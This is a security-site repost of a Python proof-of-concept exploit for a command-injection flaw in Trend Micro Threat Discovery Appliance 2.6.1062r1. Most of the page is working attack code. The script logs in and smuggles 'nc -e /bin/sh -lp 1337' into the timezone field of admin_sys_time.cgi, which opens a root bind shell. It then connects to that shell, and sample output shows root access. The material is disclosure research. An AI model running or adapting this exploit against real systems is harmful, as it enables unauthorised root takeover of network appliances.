首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Trend Micro Threat Discovery Appliance 2.6.1062r1 admin_sys_time.cgi Remote Code
来源:steventhomasseeley at gmail.com 作者:mr_me 发布时间:2017-04-20  
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 admin_sys_time.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ 
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was 
exec a bind shell using netcat.

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
exit

"""

import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
    print "(+) usage: %s <target> <pass>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/admin_sys_time.cgi" % bu

s = requests.Session()

def exec_bd(s, e_url):
    # now we setup our backdoor
    # no reverse, since it seems to fail !?
    netcat = "America/Los_Angeles|`nc -e /bin/sh -lp 1337`"
    s.post(e_url, data={'act':'save','timezone': netcat}, verify=False, proxies={"http":"http://127.0.0.1:8081"})

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."

    thread = threading.Thread(target=exec_bd, args=(s, e_url,))
    thread.start()

    print "(+) starting backdoor, this will take a few secs..."
    time.sleep(2)

    print "(+) calling backdoor!"
    os.system("nc %s 1337" % t)

else:
    print "(-) login failed"
    sys.exit(-1)

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Trend Micro Threat Discovery A
·Microsoft Windows IFEO Winlogi
·Trend Micro Threat Discovery A
·Apple WebKit / Safari 10.0.2(1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved